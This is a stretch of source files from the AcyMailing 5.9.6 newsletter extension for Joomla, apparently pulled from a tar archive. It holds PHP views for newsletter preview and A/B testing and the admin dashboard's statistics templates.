		$this->toggleClass = $toggleClass;
		$this->lists = $lists;
		$this->editor = $editor;
		$this->mail = $mail;
		$tabs = acymailing_get('helper.acytabs');

		$this->tabs = $tabs;
		$this->values = $values;
		$this->config = $config;
	}

	function preview(){
		$mailid = acymailing_getCID('mailid');
		$config = acymailing_config();

		$mailerHelper = acymailing_get('helper.mailer');
		$mailerHelper->loadedToSend = false;
		$mail = $mailerHelper->load($mailid);

		$userClass = acymailing_get('class.subscriber');
		$receiver = $userClass->get(acymailing_currentUserEmail());
		$mail->sendHTML = true;
		acymailing_trigger('acymailing_replaceusertags', array(&$mail, &$receiver, false));
		if(!empty($mail->altbody)) $mail->altbody = $mailerHelper->textVersion($mail->altbody, false);

		$listmailClass = acymailing_get('class.listmail');
		$lists = $listmailClass->getReceivers($mail->mailid, true, false);

		$testreceiverType = acymailing_get('type.testreceiver');

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();
		$infos = new stdClass();
		$infos->test_selection = acymailing_getUserVar($paramBase.".test_selection", 'test_selection', '', 'string');
		$infos->test_group = acymailing_getUserVar($paramBase.".test_group", 'test_group', '', 'string');
		$infos->test_emails = acymailing_getUserVar($paramBase.".test_emails", 'test_emails', '', 'string');
		$infos->test_html = acymailing_getUserVar($paramBase.".test_html", 'test_html', 1, 'int');

		if(acymailing_isAdmin()){


			$acyToolbar = acymailing_get('helper.toolbar');
			if(acymailing_isAllowed($config->get('acl_'.$this->aclCat.'_spam_test', 'all'))){
				$acyToolbar->popup('spamtest', acymailing_translation('SPAM_TEST'), acymailing_completeLink("send&task=spamtest&mailid=".$mailid, true));
			}
			if($this->type == 'news'){
				if(acymailing_level(1) && acymailing_isAllowed($config->get('acl_newsletters_schedule', 'all'))){
					if($mail->published == 2){
						$acyToolbar->custom('unschedule', acymailing_translation('UNSCHEDULE'), 'schedule', false);
					}else{
						$acyToolbar->popup('schedule', acymailing_translation('SCHEDULE'), acymailing_completeLink("send&task=scheduleready&mailid=".$mailid, true));
					}
				}
				if(acymailing_isAllowed($config->get('acl_newsletters_send', 'all'))){
					$acyToolbar->popup('send', acymailing_translation('SEND'), acymailing_completeLink("send&task=sendready&mailid=".$mailid, true));
				}
			}


			$acyToolbar->divider();
			$acyToolbar->custom('edit', acymailing_translation('ACY_EDIT'), 'edit', false);
			$acyToolbar->cancel();
			$acyToolbar->divider();
			$acyToolbar->help($this->doc);
			$acyToolbar->setTitle(acymailing_translation('ACY_PREVIEW').' : '.$mail->subject, $this->ctrl.'&task=preview&mailid='.$mailid);
			$acyToolbar->display();
		}

		preg_match('@href="{unsubscribe:(.*)}"@', $mail->body, $match);//we get the tag unsubscribe
		if(!empty($match)){
			$mail->body = str_replace($match[0], 'href="'.$match[1].'"', $mail->body);
		}

		$this->lists = $lists;
		$this->infos = $infos;
		$this->testreceiverType = $testreceiverType;
		$this->mail = $mail;

		if($mail->html){
			$templateClass = acymailing_get('class.template');
			if(!empty($mail->tempid)) $templateClass->createTemplateFile($mail->tempid);
			$templateClass->displayPreview('newsletter_preview_area', $mail->tempid, $mail->subject);
		}
	}

	function upload(){
		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->custom('douploadnewsletter', acymailing_translation('IMPORT'), 'import', false);
		$acyToolbar->setTitle(acymailing_translation('IMPORT'));
		$acyToolbar->topfixed = false;
		$acyToolbar->display();
	}

	function abtesting(){
		$mailids = acymailing_getVar('string', 'mailid');
		$validationStatus = acymailing_getVar('string', 'validationStatus');
		$noMsg = false;
		$noBtn = false;
		if((!empty($mailids) && strpos($mailids, ',') !== false)){
			$warningMsg = array();

			$mailsArray = explode(',', $mailids);
			acymailing_arrayToInteger($mailsArray);

			$mailids = implode(',', $mailsArray);
			$this->mailid = $mailids;
			$query = 'SELECT abtesting FROM #__acymailing_mail WHERE mailid IN ('.implode(',', $mailsArray).') AND abtesting IS NOT NULL';
			$resDetail = acymailing_loadResultArray($query);
			if(!empty($resDetail) && count($resDetail) != count($mailsArray)){
				$titlePage = acymailing_translation('ABTESTING');
				acymailing_display(acymailing_translation('ABTESTING_MISSINGEMAIL'), 'warning');
				$this->missingMail = true;
			}else{
				$abTestDetail = array();
				if(empty($resDetail)){
					$abTestDetail['mailids'] = $mailids;
					$abTestDetail['prct'] = 10;
					$abTestDetail['delay'] = 2;
					$abTestDetail['action'] = 'manual';
				}else{
					$abTestDetail = unserialize($resDetail[0]);
					$savedIds = explode(',', $abTestDetail['mailids']);
					sort($savedIds);
					sort($mailsArray);
					if(!empty($abTestDetail['status']) && in_array($abTestDetail['status'], array('inProgress', 'testSendOver', 'abTestFinalSend')) && $savedIds != $mailsArray){
						$warningMsg[] = acymailing_translation('ABTESTING_TESTEXIST');
						$mailsArray = $savedIds;
						$mailids = implode(',', $mailsArray);
					}
					$this->savedValues = true;
					if($abTestDetail['status'] == 'inProgress') $warningMsg[] = acymailing_translation('ABTESTING_INPROGRESS');
				}

				if($validationStatus == 'abTestAdd') $noMsg = true;

				if(!empty($abTestDetail['status']) && $abTestDetail['status'] == 'abTestFinalSend' && !empty($abTestDetail['newMail'])){
					$mailInQueueErrorMsg = acymailing_translation('ABTESTING_FINALMAILINQUEUE');
					$mailTocheck = '='.$abTestDetail['newMail'];
				}else{
					$mailInQueueErrorMsg = acymailing_translation('ABTESTING_TESTMAILINQUEUE');
					$mailTocheck = ' IN ('.implode(',', $mailsArray).')';
				}
				$query = "SELECT COUNT(*) FROM #__acymailing_queue WHERE mailid".$mailTocheck;
				$queueCheck = acymailing_loadResult($query);
				if(!empty($queueCheck) && $validationStatus != 'abTestAdd'){
					acymailing_enqueueMessage($mailInQueueErrorMsg, 'error');
					$noMsg = true;
				}

				if(!empty($resDetail) && empty($queueCheck) && in_array($abTestDetail['status'], array('inProgress', 'abTestFinalSend'))){
					if($abTestDetail['status'] == 'inProgress'){
						$abTestDetail['status'] = 'testSendOver';
					}else $abTestDetail['status'] = 'completed';
					$query = "UPDATE #__acymailing_mail SET abtesting=".acymailing_escapeDB(serialize($abTestDetail))." WHERE mailid IN (".implode(',', $mailsArray).")";
					acymailing_query($query);
				}

				if(!empty($abTestDetail['status']) && $abTestDetail['status'] == 'testSendOver') acymailing_enqueueMessage(acymailing_translation('ABTESTING_READYTOSEND'), 'info');
				if(!empty($abTestDetail['status']) && $abTestDetail['status'] == 'completed') acymailing_enqueueMessage(acymailing_translation('ABTESTING_COMPLETE'), 'info');

				$this->abTestDetail = $abTestDetail;

				$nbMails = count($mailsArray);
				$titleStr = "A/B/C/D/E/F/G/H/I/J/K/L/M/N/O/P/Q/R/S/T/U/V/W/X/Y/Z";
				$titlePage = acymailing_translation_sprintf('ABTESTING_TITLE', substr($titleStr, 0, min($nbMails, 26) * 2 - 1));
				$mailClass = acymailing_get('class.mail');
				$mailsDetails = array();
				foreach($mailsArray as $mailid){
					$mailsDetails[] = $mailClass->get($mailid);
				}
				$this->mailsdetails = $mailsDetails;

				$mailerHelper = acymailing_get('helper.mailer');
				$mailerHelper->loadedToSend = false;
				$mailReceiver = $mailerHelper->load($mailsArray[0]);
				$listmailClass = acymailing_get('class.listmail');
				$lists = $listmailClass->getReceivers($mailReceiver->mailid, true, false);
				$this->lists = $lists;
				$this->mailReceiver = $mailReceiver;
				$filterClass = acymailing_get('class.filter');
				$this->filterClass = $filterClass;
				$listids = array();
				foreach($lists as $oneList){
					$listids[] = $oneList->listid;
				}
				$nbTotalReceivers = $filterClass->countReceivers($listids, $this->mailReceiver->filter, $this->mailReceiver->mailid);
				if($nbTotalReceivers < 50){
					$warningMsg[] = acymailing_translation_sprintf('ABTESTING_NOTENOUGHUSER', $nbTotalReceivers);
					$noBtn = true;
				}
				$this->nbTotalReceivers = $nbTotalReceivers;
				$this->nbTestReceivers = floor($nbTotalReceivers * $abTestDetail['prct'] / 100);

				if($noMsg || $noBtn) $noButton = true;

				$queryStat = 'SELECT mailid, openunique, clickunique, senthtml, senttext, bounceunique FROM #__acymailing_stats WHERE mailid IN ('.$mailids.')';
				$resStat = acymailing_loadObjectList($queryStat, 'mailid');
				if(!empty($resStat)){
					$this->statMail = $resStat;
					$warningMsg[] = acymailing_translation('ABTESTING_STAT_WARNING');
				}
				if(!empty($warningMsg) && $noMsg == false) acymailing_enqueueMessage(implode('<br />', $warningMsg), 'warning');
			}
		}else{
			$titlePage = acymailing_translation('ABTESTING');
		}

		$this->validationStatus = $validationStatus;
		$this->titlePage = $titlePage;

		$acyToolbar = acymailing_get('helper.toolbar');
		if(empty($noButton) && (!empty($this->mailid) || !empty($this->validationStatus))){
			$acyToolbar->custom('test', acymailing_translation('ABTESTING_TEST'), 'test', false, "if(confirm('".acymailing_translation('PROCESS_CONFIRMATION', true)."')){acymailing.submitbutton('abtest');} return false;");
		}
		$acyToolbar->help('a-b-testing');
		$acyToolbar->setTitle(acymailing_translation('ABTESTING'));
		$acyToolbar->topfixed = false;
		$acyToolbar->display();
	}
}
com_acymailing/views/dashboard/view.html.php000060400000016327152455305300015240 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class dashboardViewDashboard extends acymailingView{

	function display($tpl = null){
		$config = acymailing_config();

		$acyToolbar = acymailing_get('helper.toolbar');
		$acyToolbar->help('dashboard');
		$acyToolbar->setTitle(acymailing_translation('ACY_CPANEL'), 'dashboard');
		$acyToolbar->display();

		$userQuery = 'SELECT (confirmed + enabled) AS addition, COUNT(subid) AS total FROM #__acymailing_subscriber GROUP BY addition';
		$userResult = acymailing_loadObjectList($userQuery, 'addition');

		$userStats = new stdClass();
		$userStats->nbUnconfirmedAndDisabled = (empty($userResult[0]->total) ? 0 : $userResult[0]->total);
		$userStats->nbConfirmed = (empty($userResult[1]->total) ? 0 : $userResult[1]->total);
		$userStats->nbConfirmed += (empty($userResult[2]->total) ? 0 : $userResult[2]->total);
		$userStats->total = $userStats->nbConfirmed + $userStats->nbUnconfirmedAndDisabled;

		$userStats->confirmedPercent = (empty($userStats->total) ? 0 : round((($userStats->nbConfirmed * 100) / $userStats->total), 0));

		$listsQuery = "SELECT COUNT(DISTINCT(l.listid)) FROM #__acymailing_list as l LEFT JOIN #__acymailing_listsub as ls ON l.listid=ls.listid WHERE l.type='list' AND ls.status=1 AND ls.subid IS NOT NULL";
		$atLeastOneSub = acymailing_loadResult($listsQuery);

		$nbLists = acymailing_loadResult('SELECT COUNT(listid) FROM #__acymailing_list WHERE type = "list"');

		$listStats = new stdClass();
		$listStats->atLeastOneSub = $atLeastOneSub;
		$listStats->noSub = $nbLists - $atLeastOneSub;
		$listStats->total = $nbLists;

		$listStats->subscribedPercent = (empty($nbLists) ? 0 : round((($atLeastOneSub * 100) / $nbLists), 0));

		$nlQuery = 'SELECT count(mailid) AS total, published FROM #__acymailing_mail WHERE type = "news" GROUP BY published';
		$nlResult = acymailing_loadObjectList($nlQuery, 'published');

		$nlStats = new stdClass();
		$nlStats->nbUnpublished = (empty($nlResult[0]->total) ? 0 : $nlResult[0]->total);
		$nlStats->nbpublished = (empty($nlResult[1]->total) ? 0 : $nlResult[1]->total);
		$nlStats->total = $nlStats->nbpublished + $nlStats->nbUnpublished;

		$nlStats->publishedPercent = (empty($nlStats->total) ? 0 : round((($nlStats->nbpublished * 100) / $nlStats->total), 0));


		$this->nlStats = $nlStats;
		$this->userStats = $userStats;
		$this->listStats = $listStats;
		$this->config = $config;




		$geolocParam = $config->get('geolocation');
		if(!empty($geolocParam) && $geolocParam != 1){
			$condition = '';
			if(strpos($geolocParam, 'creation') !== false){
				$condition = " WHERE geolocation_type='creation'";
			}

			$nbUsersToGet = 100;
			$query = 'SELECT geolocation_type, geolocation_subid, geolocation_country_code, geolocation_city, geolocation_country, geolocation_state';
			$query .= ' FROM #__acymailing_geolocation'.$condition.' GROUP BY geolocation_subid ORDER BY geolocation_created DESC LIMIT '.$nbUsersToGet;
			$geoloc = acymailing_loadObjectList($query);

			if(!empty($geoloc)){
				$markCities = array();
				$diffCountries = false;
				$dataDetails = array();
				$addresses = array();
				foreach($geoloc as $mark){
					$indexCity = array_search($mark->geolocation_city, $markCities);
					if($indexCity === false){
						array_push($markCities, $mark->geolocation_city);
						array_push($dataDetails, 1);
						$addresses[] = $mark->geolocation_city.' '.$mark->geolocation_state.' '.$mark->geolocation_country;
					}else{
						$dataDetails[$indexCity] += 1;
					}

					if(!$diffCountries){
						if(!empty($region) && $region != $mark->geolocation_country_code){
							$region = 'world';
							$diffCountries = true;
						}else{
							$region = $mark->geolocation_country_code;
						}
					}
				}
				$this->geoloc_city = $markCities;
				$this->geoloc_details = $dataDetails;
				$this->geoloc_region = $region;
				$this->geoloc_addresses = $addresses;
				$this->nbUsersToGet = $nbUsersToGet;
			}
		}

		acymailing_addScript(false, "https://www.google.com/jsapi");
		$statsusers = acymailing_loadObjectList("SELECT count(`subid`) as total, DATE_FORMAT(FROM_UNIXTIME(`created`),'%Y-%m-%d') as subday FROM ".acymailing_table('subscriber')." WHERE `created` > 100000 GROUP BY subday ORDER BY subday DESC LIMIT 15");
		$this->statsusers = $statsusers;

		$users10 = acymailing_loadObjectList('SELECT name,email,html,confirmed,subid,created FROM '.acymailing_table('subscriber').' ORDER BY subid DESC LIMIT 10');
		$this->users = $users10;

		$toggleClass = acymailing_get('helper.toggle');
		$this->toggleClass = $toggleClass;


		$listStatusQuery = 'SELECT count(subid) AS total, list.name AS listname, list.listid, listsub.status FROM #__acymailing_list AS list JOIN #__acymailing_listsub AS listsub ON list.listid = listsub.listid GROUP BY listsub.listid, listsub.status';
		$listStatusResult = acymailing_loadObjectList($listStatusQuery);

		$listStatusData = array();
		foreach($listStatusResult as $oneResult){
			$listStatusData[$oneResult->listname][$oneResult->status] = $oneResult->total;
		}
		$this->listStatusData = $listStatusData;


		$newsletters = acymailing_loadObjectList("SELECT count(userstats.`mailid`) as total, DATE_FORMAT(FROM_UNIXTIME(`senddate`), '%Y-%m-%d') AS send_date,
						SUM(CASE WHEN fail>0 THEN 1 ELSE 0 END) AS nbFailed
						FROM ".acymailing_table('userstats')." AS userstats
						WHERE userstats.senddate > ".intval(time() - 2628000)."
						GROUP BY send_date
						ORDER BY send_date DESC");

		$this->newsletters = $newsletters;



		$progressBarSteps = new stdClass();
		$progressBarSteps->listCreated = (!empty($listStats->total) ? 1 : 0);
		$progressBarSteps->contactCreated = (!empty($userStats->total) ? 1 : 0);
		$progressBarSteps->newsletterCreated = (!empty($nlStats->total) ? 1 : 0);

		$result = acymailing_loadResult('SELECT subid FROM #__acymailing_userstats LIMIT 1');

		$progressBarSteps->newsletterSent = (!empty($result) ? 1 : 0);
		$this->progressBarSteps = $progressBarSteps;

		$news = @simplexml_load_file('https://www.acyba.com/acynews.xml');
		if(!empty($news->news)) {
			
			$currentLanguage = acymailing_getLanguageTag();

			$latestNews = null;
			foreach ($news->news as $oneNews) {
				if (!empty($latestNews) && strtotime($latestNews->date) > strtotime($oneNews->date)) break;

				if (empty($oneNews->published) || (strtolower($oneNews->language) != strtolower($currentLanguage) && (strtolower($oneNews->language) != 'default' || !empty($latestNews)))) continue;

				if (!empty($oneNews->extension) && strtolower($oneNews->extension) != 'acymailing') continue;

				if (!empty($oneNews->cms) && strtolower($oneNews->cms) != 'joomla') continue;

				if (!empty($oneNews->level) && strtolower($oneNews->level) != strtolower($config->get('level'))) continue;

				if (!empty($oneNews->version)) {
					list($version, $operator) = explode('_', $oneNews->version);
					if(!version_compare($config->get('version'), $version, $operator)) continue;
				}

				$latestNews = $oneNews;
			}

			if (!empty($latestNews)) {
				$this->contentToDisplay = $latestNews;
				$this->config = $config;
			}
		}

		parent::display($tpl);
	}
}
com_acymailing/views/dashboard/index.html000060400000000054152455305300014575 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/dashboard/tmpl/users.php000060400000004175152455305300015436 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><br style="font-size:1px;"/>
<div id="dash_users">

	<h1 class="acy_graphtitle"> <?php echo acymailing_translation('ACY_LAST_TEN_SUBSCRIBERS') ?> </h1>
	<table class="acymailing_table" cellpadding="1">
		<thead>
		<tr>
			<th class="title">
				<?php echo acymailing_translation('JOOMEXT_NAME'); ?>
			</th>
			<th class="title">
				<?php echo acymailing_translation('JOOMEXT_EMAIL'); ?>
			</th>
			<th class="title titledate">
				<?php echo acymailing_translation('CREATED_DATE'); ?>
			</th>
			<th class="title titletoggle">
				<?php echo acymailing_translation('RECEIVE_HTML'); ?>
			</th>
			<?php if($this->config->get('require_confirmation', 1)){ ?>
				<th class="title titletoggle">
					<?php echo acymailing_translation('CONFIRMED'); ?>
				</th>
			<?php } ?>
		</tr>
		</thead>
		<tbody>
		<?php
		$k = 0;
		foreach($this->users as $oneUser){
			$row =& $oneUser;

			$confirmedid = 'confirmed_'.$row->subid;
			$htmlid = 'html_'.$row->subid;

			?>
			<tr class="<?php echo "row$k"; ?>">
				<td>
					<?php echo $this->escape($row->name); ?>
				</td>
				<td>
					<a href="<?php echo acymailing_completeLink('subscriber&task=edit&subid='.$row->subid) ?>"><?php echo $this->escape($row->email); ?></a>
				</td>
				<td align="center" style="text-align:center">
					<?php echo acymailing_getDate($row->created); ?>
				</td>
				<td align="center" style="text-align:center">
					<span id="<?php echo $htmlid ?>" class="loading"><?php echo $this->toggleClass->toggle($htmlid, $row->html, 'subscriber') ?></span>
				</td>
				<?php if($this->config->get('require_confirmation', 1)){ ?>
					<td align="center" style="text-align:center">
						<span id="<?php echo $confirmedid ?>" class="loading"><?php echo $this->toggleClass->toggle($confirmedid, $row->confirmed, 'subscriber') ?></span>
					</td>
				<?php } ?>
			</tr>
			<?php
			$k = 1 - $k;
		}
		?>
		</tbody>
	</table>
</div>
com_acymailing/views/dashboard/tmpl/stats.php000060400000012232152455305300015424 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="dashboard_mainstat">
	<div class="acydashboard_content">
		<div class="acycircles">
			<div class="circle stat_subscribers" onclick="displayDetails('userStatisticDetails');">

				<!-- circle animation 1 -->
				<div class="progressdiv" data-percent="<?php echo $this->userStats->confirmedPercent; ?>" data-title="<?php echo $this->userStats->total; ?>">
					<svg class="acyprogress" width="178" height="178" viewport="0 0 100 100" version="1.1" xmlns="http://www.w3.org/2000/svg">
						<circle r="80" cx="89" cy="89" fill="#fff" stroke-dasharray="502.4" stroke-dashoffset="0" stroke="#93bfeb"></circle>
						<circle class="bar" r="80" cx="89" cy="89" fill="transparent" stroke-dasharray="502.4" stroke-dashoffset="0"></circle>
					</svg>
				</div>
				<span class="circle_title"><?php echo acymailing_translation('ACY_DASHBOARD_USERS'); ?></span>
				<span class="circle_informations">
					<span class="stats_blue_point"></span> <?php echo acymailing_translation('ENABLED'); ?>
					<span class="stats_grey_point"></span> <?php echo acymailing_translation('DISABLED'); ?>
				</span>
				<br/>
				<button class="acymailing_button"><?php echo acymailing_translation_sprintf("ACY_MORE_USER_STATISTICS", acymailing_translation('USERS')) ?></button>
			</div>

			<div class="circle stat_lists" onclick="displayDetails('listStatisticDetails');">

				<!-- circle animation 2 -->
				<div class="progressdiv" data-percent="<?php echo $this->listStats->subscribedPercent; ?>" data-title="<?php echo $this->listStats->total; ?>">
					<svg class="acyprogress" width="178" height="178" viewport="0 0 100 100" version="1.1" xmlns="http://www.w3.org/2000/svg">
						<circle r="80" cx="89" cy="89" fill="#fff" stroke-dasharray="502.4" stroke-dashoffset="0" stroke="#c9c472"></circle>
						<circle class="bar" r="80" cx="89" cy="89" fill="transparent" stroke-dasharray="502.4" stroke-dashoffset="0"></circle>
					</svg>
				</div>
				<span class="circle_title"><?php echo acymailing_translation('ACY_DASHBOARD_LISTS'); ?></span>
				<span class="circle_informations">
					<span class="stats_green_point"></span> <?php echo acymailing_translation('ACY_ATLEASTONE'); ?>
					<span class="stats_grey_point"></span> <?php echo acymailing_translation('ACY_NOSUB'); ?>
				</span>
				<br/>
				<button class="acymailing_button"><?php echo acymailing_translation_sprintf("ACY_MORE_LIST_STATISTICS", acymailing_translation('LISTS')) ?></button>

			</div>
			<div class="circle stat_newsletters" onclick="displayDetails('newsletterStatisticDetails');">
				<!-- circle animation 3 -->
				<div class="progressdiv" data-percent="<?php echo $this->nlStats->publishedPercent; ?>" data-title="<?php echo $this->nlStats->total; ?>">
					<svg class="acyprogress" width="178" height="178" viewport="0 0 100 100" version="1.1" xmlns="http://www.w3.org/2000/svg">
						<circle r="80" cx="89" cy="89" fill="#fff" stroke-dasharray="502.4" stroke-dashoffset="0" stroke="#7c95ad"></circle>
						<circle class="bar" r="80" cx="89" cy="89" fill="transparent" stroke-dasharray="502.4" stroke-dashoffset="0"></circle>
					</svg>
				</div>
				<span class="circle_title"><?php echo acymailing_translation('ACY_DASHBOARD_NEWSLETTERS'); ?></span>
				<span class="circle_informations">
					<span class="stats_darkblue_point"></span> <?php echo acymailing_translation('ACY_PUBLISHED'); ?>
					<span class="stats_grey_point"></span> <?php echo acymailing_translation('ACY_UNPUBLISHED'); ?>
				</span>
				<br/>
				<button class="acymailing_button"><?php echo acymailing_translation_sprintf("ACY_MORE_NEWSLETTER_STATISTICS", acymailing_translation('NEWSLETTER')) ?></button>
			</div>
		</div>
		<div class="acygraph">
			<div id="userStatisticDetails" style="display: none;">
				<?php
				if(acymailing_isAllowed($this->config->get('acl_subscriber_manage', 'all'))){
					echo '<div id="userLocations">';
					include(dirname(__FILE__).DS.'userlocations.php');
					echo '</div>';
				}
				?>
				<?php
				if(acymailing_isAllowed($this->config->get('acl_subscriber_manage', 'all'))){
					echo '<div id="userStatsDiagram">';
					include(dirname(__FILE__).DS.'userstats.php');
					echo '</div>';
				}

				if(acymailing_isAllowed($this->config->get('acl_subscriber_manage', 'all'))){
					echo '<div id="recentUserListing">';
					include(dirname(__FILE__).DS.'users.php');
					echo '</div>';
				}
				?>
			</div>
			<div id="listStatisticDetails" style="display: none;">
				<?php
				if(acymailing_isAllowed($this->config->get('acl_lists_manage', 'all'))){
					echo '<div id="listStatsDiagram">';
					include(dirname(__FILE__).DS.'liststats.php');
					echo '</div>';
				}
				?>

			</div>
			<div id="newsletterStatisticDetails" style="display: none;">
				<?php
				if(acymailing_isAllowed($this->config->get('acl_queue_manage', 'all'))){
					echo '<div id="queueStatsDiagram">';
					include(dirname(__FILE__).DS.'queuestats.php');
					echo '</div>';
				}
				?>
			</div>
		</div>
	</div>
</div>


com_acymailing/views/dashboard/tmpl/index.html000060400000000054152455305300015551 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/dashboard/tmpl/userstats.php000060400000003434152455305300016327 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(empty($this->statsusers)) echo acymailing_translation("ACY_NO_STATISTICS");
else{ ?>

	<script language="JavaScript" type="text/javascript">
		function statsusers() {
			var dataTable = new google.visualization.DataTable();
			dataTable.addRows(<?php echo count($this->statsusers); ?>);

			dataTable.addColumn('date');
			dataTable.addColumn('number', '<?php echo acymailing_translation('USERS',true); ?>');

			<?php
			$i = count($this->statsusers)-1;
			foreach($this->statsusers as $oneResult){
				echo "dataTable.setValue($i, 0, new Date('".substr($oneResult->subday,0,4)."','".intval(substr($oneResult->subday,5,2) - 1)."','".substr($oneResult->subday,8,2)."')); ";
				echo "dataTable.setValue($i, 1, ".intval(@$oneResult->total)."); ";
				if($i-- == 0) break;
			}
			?>
			var container = document.getElementsByClassName('acygraph')[0];
			var width = container.getBoundingClientRect().width;

			var vis = new google.visualization.ColumnChart(document.getElementById('statsusers'));
			var options = {
				height: 300,
				legend: 'none',
				vAxis: {minValue: 0},
				hAxis: {format: 'dd MMM'},
				backgroundColor: 'transparent',
				colors: ['#adccea'],
				width: width
			};

			vis.draw(dataTable, options);
		}
		google.load("visualization", "1", {packages: ["corechart"]});
		google.setOnLoadCallback(statsusers);

	</script>
	<h1 class="acy_graphtitle"> <?php echo acymailing_translation('ACY_SUBSCRIPTION_CHRONOLOGY') ?> </h1>
	<div id="statsusers" style="width:100%;text-align:center;margin-bottom:20px"></div>
<?php } ?>
com_acymailing/views/dashboard/tmpl/default.php000060400000015517152455305300015723 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>

	<script type="text/javascript">
		function displayDetails(detailsDivID){

			var oldDisplay = document.getElementById(detailsDivID).style.display;

			document.getElementById('userStatisticDetails').style.display = "none";
			document.getElementById('newsletterStatisticDetails').style.display = "none";
			document.getElementById('listStatisticDetails').style.display = "none";

			if(oldDisplay == 'block'){
				document.getElementById(detailsDivID).style.display = 'none';
			}else{
				document.getElementById(detailsDivID).style.display = 'block';
			}
		}

		(function(){
			window.onload = function(){
				var circles = document.querySelectorAll('.acyprogress');
				for(var i = 0; i < 3; i++){
					var totalProgress = circles[i].querySelector('circle').getAttribute('stroke-dasharray');
					var progress = circles[i].parentNode.getAttribute('data-percent');
					circles[i].querySelector('.bar').style['stroke-dashoffset'] = totalProgress * progress / 100;
				}
			}
		})();
	</script>

	<div id="dashboard_mainview">

		<?php
		if(!empty($this->contentToDisplay) && $this->config->get('dashboardnews', 0) < strtotime($this->contentToDisplay->date)){
			$toggleHelper = acymailing_get('helper.toggle');
			$notremind = '<small style="float:right;margin-right:30px;position:relative;">' . $toggleHelper->delete('acydashboard_specialcontent', 'dashboardnews_'.strtotime($this->contentToDisplay->date), 'config', false, acymailing_translation('DONT_REMIND')) . '</small>';

			echo '<div class="acydashboard_specialcontent onelineblockoptions" id="acydashboard_specialcontent">'.$notremind;
			if(!empty($this->contentToDisplay->title)) echo '<span class="acyblocktitle">'.$this->contentToDisplay->title.'</span>';
			if (strtoupper($this->contentToDisplay->type) == 'URL') {
				$height = !empty($this->contentToDisplay->height) ? $this->contentToDisplay->height : 'auto';
				echo '<iframe frameborder="0" src="' . $this->contentToDisplay->content . '" width="100%" height="' . $height . '" scrolling="auto"></iframe>';
			} else {
				echo $this->contentToDisplay->content;
			}
			echo '</div>';
		}
		include(dirname(__FILE__).DS.'stats.php');
		?>

		<!-- dashboard progress bar -->
		<div id="dashboard_progress">
			<!-- progress bar -->
			<div class="acydashboard_progressbar">
				<table width="100%">

					<tr>
						<td width="25%" class="acydashboard_plane1 <?php echo(!empty($this->progressBarSteps->listCreated) ? 'acystepdone' : ''); ?>" height="36"></td>
						<td width="25%" class="acydashboard_plane2 <?php echo(!empty($this->progressBarSteps->contactCreated) ? 'acystepdone' : ''); ?>" height="36"></td>
						<td width="25%" class="acydashboard_plane3 <?php echo(!empty($this->progressBarSteps->newsletterCreated) ? 'acystepdone' : ''); ?>" height="36"></td>
						<td width="25%" class="acydashboard_plane4 <?php echo(!empty($this->progressBarSteps->newsletterSent) ? 'acystepdone' : ''); ?>" height="36"></td>

					</tr>
					<tr class="acydashboard_progressbar_colors">
						<td width="25%" height="3" class="acydashboard_progress1"><span class="<?php echo(!empty($this->progressBarSteps->listCreated) ? 'acystepdone' : ''); ?>"></span></td>
						<td width="25%" height="3" class="acydashboard_progress2"><span class="<?php echo(!empty($this->progressBarSteps->contactCreated) ? 'acystepdone' : ''); ?>"></span></td>
						<td width="25%" height="3" class="acydashboard_progress3"><span class="<?php echo(!empty($this->progressBarSteps->newsletterCreated) ? 'acystepdone' : ''); ?>"></span></td>
						<td width="25%" height="3" class="acydashboard_progress4"><span class="<?php echo(!empty($this->progressBarSteps->newsletterSent) ? 'acystepdone' : ''); ?>"></span></td>
					</tr>
				</table>
			</div>

			<!-- progress steps -->
			<div class="acydashboard_progress_steps">
				<a href="<?php echo acymailing_completeLink('list'); ?>">
					<div class="acydashboard_progress_block acydashboard_step1">
						<div class="step_image"></div>
						<div class="step_info"><span class="step_title"><?php echo acymailing_translation('MAILING_LISTS'); ?></span><?php echo acymailing_translation('ACY_MAILING_LIST_STEP_DESC'); ?></div>
					</div>
				</a>

				<a href="<?php echo acymailing_completeLink('subscriber'); ?>">
					<div class="acydashboard_progress_block acydashboard_step2">
						<div class="step_image"></div>
						<div class="step_info"><span class="step_title"><?php echo acymailing_translation('ACY_CONTACTS'); ?></span><?php echo acymailing_translation('ACY_MAILING_CONTACT_STEP_DESC'); ?>                        </div>
					</div>
				</a>

				<a href="<?php echo acymailing_completeLink('newsletter'); ?>">
					<div class="acydashboard_progress_block acydashboard_step3">
						<div class="step_image"></div>
						<div class="step_info"><span class="step_title"><?php echo acymailing_translation('NEWSLETTERS'); ?></span><?php echo acymailing_translation('ACY_MAILING_NEWSLETTER_STEP_DESC'); ?>                        </div>
					</div>
				</a>

				<a href="<?php echo acymailing_completeLink('queue'); ?>">
